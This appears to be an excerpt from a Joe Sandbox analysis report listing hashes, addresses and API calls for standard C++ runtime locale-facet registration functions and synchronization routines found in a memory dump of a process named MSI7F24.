Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registercodecvt
String ID:
API String ID: 712880209-0
Opcode ID: af5cebcf5f7973079471dfc822fadbf8f8fa2dbf5fb43a510d7f30c76a3fd357
Instruction ID: fe9c4dc43a6249d0b4f0f7aab77cde8be10a71cd4b9f2c2a972356e143a6e19c
Opcode Fuzzy Hash: af5cebcf5f7973079471dfc822fadbf8f8fa2dbf5fb43a510d7f30c76a3fd357
Instruction Fuzzy Hash: 3101D2359046999BCB04EBB8DA056BE77B1BF84318F240109F4116B392DF34AE01DB90

Function 00AE76E0 Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00AE76E7
std::_Lockit::_Lockit.LIBCPMT ref: 00AE76F1

Part of subcall function 00ADBCE0: std::_Lockit::_Lockit.LIBCPMT ref: 00ADBD10
Part of subcall function 00ADBCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 00ADBD38

collate.LIBCPMT ref: 00AE772B
std::_Facet_Register.LIBCPMT ref: 00AE7742
std::_Lockit::~_Lockit.LIBCPMT ref: 00AE7762

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registercollate
String ID:
API String ID: 1007100420-0
Opcode ID: 235bb918272d3a4fadfdb8a99db077e297f17c605219de1f4d4d7006454df60d
Instruction ID: 0e3f543060ffb33ef85dc5599e42133c378c9a19338a5cf8266aef317ab52558
Opcode Fuzzy Hash: 235bb918272d3a4fadfdb8a99db077e297f17c605219de1f4d4d7006454df60d
Instruction Fuzzy Hash: BB01DE36D44659DBCB00EBA4EA46ABE77B1AF84310F240509F4216B392DF34AE02CB90

Function 00AE2664 Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00AE266B
std::_Lockit::_Lockit.LIBCPMT ref: 00AE2675

Part of subcall function 00ADBCE0: std::_Lockit::_Lockit.LIBCPMT ref: 00ADBD10
Part of subcall function 00ADBCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 00ADBD38

codecvt.LIBCPMT ref: 00AE26AF
std::_Facet_Register.LIBCPMT ref: 00AE26C6
std::_Lockit::~_Lockit.LIBCPMT ref: 00AE26E6

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registercodecvt
String ID:
API String ID: 712880209-0
Opcode ID: 2a8178a594553f991c6ab42459ee94c014dacada3e795804489b601b7dc0b213
Instruction ID: dd06821c0050739cf28cfef7e8dc1db841925076f97b07d7dd0dfa23f5b4641e
Opcode Fuzzy Hash: 2a8178a594553f991c6ab42459ee94c014dacada3e795804489b601b7dc0b213
Instruction Fuzzy Hash: E101D235D10299DBCB04EBA4D9457BE7BB5EF80310F250609F411AB391DF74AE018B90

Function 00AE764B Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00AE7652
std::_Lockit::_Lockit.LIBCPMT ref: 00AE765C

Part of subcall function 00ADBCE0: std::_Lockit::_Lockit.LIBCPMT ref: 00ADBD10
Part of subcall function 00ADBCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 00ADBD38

codecvt.LIBCPMT ref: 00AE7696
std::_Facet_Register.LIBCPMT ref: 00AE76AD
std::_Lockit::~_Lockit.LIBCPMT ref: 00AE76CD

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registercodecvt
String ID:
API String ID: 712880209-0
Opcode ID: 1c2081b9f26f55816b8361fae55043ac1f8b35bdbadd3ba731e439d3140f6bbc
Instruction ID: cb1afb8ab316fd667b77cb3c52cf24216df42a5a8ea429eac8d5e18932706149
Opcode Fuzzy Hash: 1c2081b9f26f55816b8361fae55043ac1f8b35bdbadd3ba731e439d3140f6bbc
Instruction Fuzzy Hash: 1701DE32910A598BCF01EBB8DA45ABEB7B1AF84314F25450AF9116B391DF34AE018B90

Function 00AE7775 Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00AE777C
std::_Lockit::_Lockit.LIBCPMT ref: 00AE7786

Part of subcall function 00ADBCE0: std::_Lockit::_Lockit.LIBCPMT ref: 00ADBD10
Part of subcall function 00ADBCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 00ADBD38

collate.LIBCPMT ref: 00AE77C0
std::_Facet_Register.LIBCPMT ref: 00AE77D7
std::_Lockit::~_Lockit.LIBCPMT ref: 00AE77F7

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registercollate
String ID:
API String ID: 1007100420-0
Opcode ID: 9a9ae4289d6ca1fabd3077653ce801951d85313ce240a4a977c2ced376f483d8
Instruction ID: 730fffb9a117e77f9517370d5811290db3e1ed1fd9d5352ea68db8a978755b53
Opcode Fuzzy Hash: 9a9ae4289d6ca1fabd3077653ce801951d85313ce240a4a977c2ced376f483d8
Instruction Fuzzy Hash: 4C01D235D04259DBCB05EBA5DA456BE77B1AF84310F240549F4216B3D2DF34AE02CB90

Function 00AE789F Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00AE78A6
std::_Lockit::_Lockit.LIBCPMT ref: 00AE78B0

Part of subcall function 00ADBCE0: std::_Lockit::_Lockit.LIBCPMT ref: 00ADBD10
Part of subcall function 00ADBCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 00ADBD38

messages.LIBCPMT ref: 00AE78EA
std::_Facet_Register.LIBCPMT ref: 00AE7901
std::_Lockit::~_Lockit.LIBCPMT ref: 00AE7921

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registermessages
String ID:
API String ID: 2750803064-0
Opcode ID: 64e67b25b55849632d09257f206261dfe4f97155fda1ffc5fcf5b9ab981e3a98
Instruction ID: 5d9c5f9337b14e13fcc7892a276e96679b2086cce3616528ed0d54581ab57f0c
Opcode Fuzzy Hash: 64e67b25b55849632d09257f206261dfe4f97155fda1ffc5fcf5b9ab981e3a98
Instruction Fuzzy Hash: DB01DE36D0025ACBCB00EBB4EA456BE77B1AF80320F250909F5116B392DF34AE01CB90

Function 00AF38C1 Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00AF38C8
std::_Lockit::_Lockit.LIBCPMT ref: 00AF38D2

Part of subcall function 00ADBCE0: std::_Lockit::_Lockit.LIBCPMT ref: 00ADBD10
Part of subcall function 00ADBCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 00ADBD38

collate.LIBCPMT ref: 00AF390C
std::_Facet_Register.LIBCPMT ref: 00AF3923
std::_Lockit::~_Lockit.LIBCPMT ref: 00AF3943

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registercollate
String ID:
API String ID: 1007100420-0
Opcode ID: cc3f301cbd9a33a89a5b7b086857d9ee36a88799c9b09ff41af6b0400d3c20e1
Instruction ID: 0c5ede5e5c49b7bf04d049452ec0d25232340530b53939a23d4a4728ca48a5d1
Opcode Fuzzy Hash: cc3f301cbd9a33a89a5b7b086857d9ee36a88799c9b09ff41af6b0400d3c20e1
Instruction Fuzzy Hash: 4301D23290021D9BCF00EBA4DA556BEBBB5AF80320F240109F6216B391DFB4AF018BD4

Function 00AE780A Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00AE7811
std::_Lockit::_Lockit.LIBCPMT ref: 00AE781B

Part of subcall function 00ADBCE0: std::_Lockit::_Lockit.LIBCPMT ref: 00ADBD10
Part of subcall function 00ADBCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 00ADBD38

ctype.LIBCPMT ref: 00AE7855
std::_Facet_Register.LIBCPMT ref: 00AE786C
std::_Lockit::~_Lockit.LIBCPMT ref: 00AE788C

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registerctype
String ID:
API String ID: 83828444-0
Opcode ID: 00ad3feeabea4c662b5f32266d92a7a21c6514cd43ff15a5e9bc2df83d91b998
Instruction ID: 5d3ba96fb391f66ad1b333a808e124d53862cc0f8d2af6165fb8886f3143b01d
Opcode Fuzzy Hash: 00ad3feeabea4c662b5f32266d92a7a21c6514cd43ff15a5e9bc2df83d91b998
Instruction Fuzzy Hash: 2901F535D1465ACBCB04EBA4D9456BE77B1BF84310F640509F4116B3D1DF34AE01CB90

Function 00AE7934 Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00AE793B
std::_Lockit::_Lockit.LIBCPMT ref: 00AE7945

Part of subcall function 00ADBCE0: std::_Lockit::_Lockit.LIBCPMT ref: 00ADBD10
Part of subcall function 00ADBCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 00ADBD38

messages.LIBCPMT ref: 00AE797F
std::_Facet_Register.LIBCPMT ref: 00AE7996
std::_Lockit::~_Lockit.LIBCPMT ref: 00AE79B6

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registermessages
String ID:
API String ID: 2750803064-0
Opcode ID: e48cf0e85dd2404a9cc715e743117ef4dc4cd74628400645162f227e10343513
Instruction ID: 436d2f6a37a085ac96fa4d34eab02dad9b38ddf64b3ff41bff087695bdabc417
Opcode Fuzzy Hash: e48cf0e85dd2404a9cc715e743117ef4dc4cd74628400645162f227e10343513
Instruction Fuzzy Hash: 8901F132D00659CBCF05EBA4DA05ABE77B2AF80310F240549F8116B3D2CF74AE01CBA1

Function 00AF3956 Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00AF395D
std::_Lockit::_Lockit.LIBCPMT ref: 00AF3967

Part of subcall function 00ADBCE0: std::_Lockit::_Lockit.LIBCPMT ref: 00ADBD10
Part of subcall function 00ADBCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 00ADBD38

messages.LIBCPMT ref: 00AF39A1
std::_Facet_Register.LIBCPMT ref: 00AF39B8
std::_Lockit::~_Lockit.LIBCPMT ref: 00AF39D8

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registermessages
String ID:
API String ID: 2750803064-0
Opcode ID: daee38ac60c2ed885165d9acb7a8842e32af8247ac9cc26b67087d19df8be881
Instruction ID: 4848f0c32ae338f476f299f1cfa52f148ff40cb8ba32d26970fe313e96739e5a
Opcode Fuzzy Hash: daee38ac60c2ed885165d9acb7a8842e32af8247ac9cc26b67087d19df8be881
Instruction Fuzzy Hash: DB01D232D0021D9BCF00EBA4DA566BE7BB5AF80320F25050AF9116B391DFB4AF01CB90

Function 00AF3BAA Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00AF3BB1
std::_Lockit::_Lockit.LIBCPMT ref: 00AF3BBB

Part of subcall function 00ADBCE0: std::_Lockit::_Lockit.LIBCPMT ref: 00ADBD10
Part of subcall function 00ADBCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 00ADBD38

moneypunct.LIBCPMT ref: 00AF3BF5
std::_Facet_Register.LIBCPMT ref: 00AF3C0C
std::_Lockit::~_Lockit.LIBCPMT ref: 00AF3C2C

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registermoneypunct
String ID:
API String ID: 419941038-0
Opcode ID: a9e7b3b80001506d29ede8b20f8a27dd27743e353a4989f70199b34e19993e49
Instruction ID: 11e98d461a7821c4570660527d24a2ab19408ab46b6090618b06ffaf0e09eb4b
Opcode Fuzzy Hash: a9e7b3b80001506d29ede8b20f8a27dd27743e353a4989f70199b34e19993e49
Instruction Fuzzy Hash: 4501D23690021EDBCF00EBA4DA056BEB7B1AF84310F240509F6116B391CF74AE02CB90

Function 00AF3B15 Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00AF3B1C
std::_Lockit::_Lockit.LIBCPMT ref: 00AF3B26

Part of subcall function 00ADBCE0: std::_Lockit::_Lockit.LIBCPMT ref: 00ADBD10
Part of subcall function 00ADBCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 00ADBD38

moneypunct.LIBCPMT ref: 00AF3B60
std::_Facet_Register.LIBCPMT ref: 00AF3B77
std::_Lockit::~_Lockit.LIBCPMT ref: 00AF3B97

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registermoneypunct
String ID:
API String ID: 419941038-0
Opcode ID: e03705cd6394c1a86123c722fc63ba91dbbb27c009baf4adeb59161f6fafe160
Instruction ID: 3c24aeb2abb101564c9ddbb2c590a9d22e0f333dbe8d27ecc1fb2bcd0cdbad37
Opcode Fuzzy Hash: e03705cd6394c1a86123c722fc63ba91dbbb27c009baf4adeb59161f6fafe160
Instruction Fuzzy Hash: 2701D23691061DDBCF00EBA4DA556BEB7B1AF84310F250109F5156B391CF34AE01CB90

Function 00AE7CB2 Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00AE7CB9
std::_Lockit::_Lockit.LIBCPMT ref: 00AE7CC3

Part of subcall function 00ADBCE0: std::_Lockit::_Lockit.LIBCPMT ref: 00ADBD10
Part of subcall function 00ADBCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 00ADBD38

moneypunct.LIBCPMT ref: 00AE7CFD
std::_Facet_Register.LIBCPMT ref: 00AE7D14
std::_Lockit::~_Lockit.LIBCPMT ref: 00AE7D34

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registermoneypunct
String ID:
API String ID: 419941038-0
Opcode ID: 9254e9c79a3b49ac82f684406710748a1e6dab3722e62b208c29f91ce71fc398
Instruction ID: 7aeb4909927d686e8fae2f5a9c34732c6eb6f92eff6b2d0ff66f1b3f0b5c85e9
Opcode Fuzzy Hash: 9254e9c79a3b49ac82f684406710748a1e6dab3722e62b208c29f91ce71fc398
Instruction Fuzzy Hash: 53019235D04659DBCB05EBA4DA456BE77B5BF84310F240549F9116B392DF34AE018B90

Function 00AE7C1D Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00AE7C24
std::_Lockit::_Lockit.LIBCPMT ref: 00AE7C2E

Part of subcall function 00ADBCE0: std::_Lockit::_Lockit.LIBCPMT ref: 00ADBD10
Part of subcall function 00ADBCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 00ADBD38

moneypunct.LIBCPMT ref: 00AE7C68
std::_Facet_Register.LIBCPMT ref: 00AE7C7F
std::_Lockit::~_Lockit.LIBCPMT ref: 00AE7C9F

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registermoneypunct
String ID:
API String ID: 419941038-0
Opcode ID: a510b003330f75ce773fcfaee0149d753e26d984c122020ef62dd0180d369906
Instruction ID: 38460b95fbf017b6ad5ca14db25698b7ed2089d0ee23991b91e5f3a291d574d8
Opcode Fuzzy Hash: a510b003330f75ce773fcfaee0149d753e26d984c122020ef62dd0180d369906
Instruction Fuzzy Hash: F101D231D006598BCB11EBB5DA456BE77B5AFC0310F340549F4216B392DF34AE018B90

Function 00AE7DDC Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00AE7DE3
std::_Lockit::_Lockit.LIBCPMT ref: 00AE7DED

Part of subcall function 00ADBCE0: std::_Lockit::_Lockit.LIBCPMT ref: 00ADBD10
Part of subcall function 00ADBCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 00ADBD38

moneypunct.LIBCPMT ref: 00AE7E27
std::_Facet_Register.LIBCPMT ref: 00AE7E3E
std::_Lockit::~_Lockit.LIBCPMT ref: 00AE7E5E

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registermoneypunct
String ID:
API String ID: 419941038-0
Opcode ID: ecd24be0ed5f16e7c2855523b0f8bc06833b3b0a52c26042306fb8c961d9fcdb
Instruction ID: b3f483c8572e28ab83c1940cc9bace854c48d47b0ac5c82a6ce24d0ea8ce19db
Opcode Fuzzy Hash: ecd24be0ed5f16e7c2855523b0f8bc06833b3b0a52c26042306fb8c961d9fcdb
Instruction Fuzzy Hash: 8401D231D14659DBCB00EBA4E9456BE77B1AF84710F240549F5116B392CF34AE01CB90

Function 00AE7D47 Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00AE7D4E
std::_Lockit::_Lockit.LIBCPMT ref: 00AE7D58

Part of subcall function 00ADBCE0: std::_Lockit::_Lockit.LIBCPMT ref: 00ADBD10
Part of subcall function 00ADBCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 00ADBD38

moneypunct.LIBCPMT ref: 00AE7D92
std::_Facet_Register.LIBCPMT ref: 00AE7DA9
std::_Lockit::~_Lockit.LIBCPMT ref: 00AE7DC9

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registermoneypunct
String ID:
API String ID: 419941038-0
Opcode ID: a2a933cb9116f816f07b9c91b7d6aa33804f2c398281e06ff704108a93ec890a
Instruction ID: 0703dfb377236b2f3b3bc0d6c10f664af6e0155362922b984eb14638f0f9b975
Opcode Fuzzy Hash: a2a933cb9116f816f07b9c91b7d6aa33804f2c398281e06ff704108a93ec890a
Instruction Fuzzy Hash: 6801F531D10659CBCB00EBA4DA45ABE77B1AF84310F240109F511AB392DF34AE01CBD0

Function 00AF782B Relevance: 7.5, APIs: 5, Instructions: 37COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(00B34AF8,?,?,00AD2627,00B3571C,00B1CCC0), ref: 00AF7835
LeaveCriticalSection.KERNEL32(00B34AF8,?,?,00AD2627,00B3571C,00B1CCC0), ref: 00AF7868
RtlWakeAllConditionVariable.NTDLL ref: 00AF78DF
SetEvent.KERNEL32(?,00AD2627,00B3571C,00B1CCC0), ref: 00AF78E9
ResetEvent.KERNEL32(?,00AD2627,00B3571C,00B1CCC0), ref: 00AF78F5

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID: CriticalEventSection$ConditionEnterLeaveResetVariableWake
String ID:
API String ID: 3916383385-0
Opcode ID: 7aa712466cfd02a724a4a7d6394ad2c3b521682f0c5bfafeda5a2280698c3b25
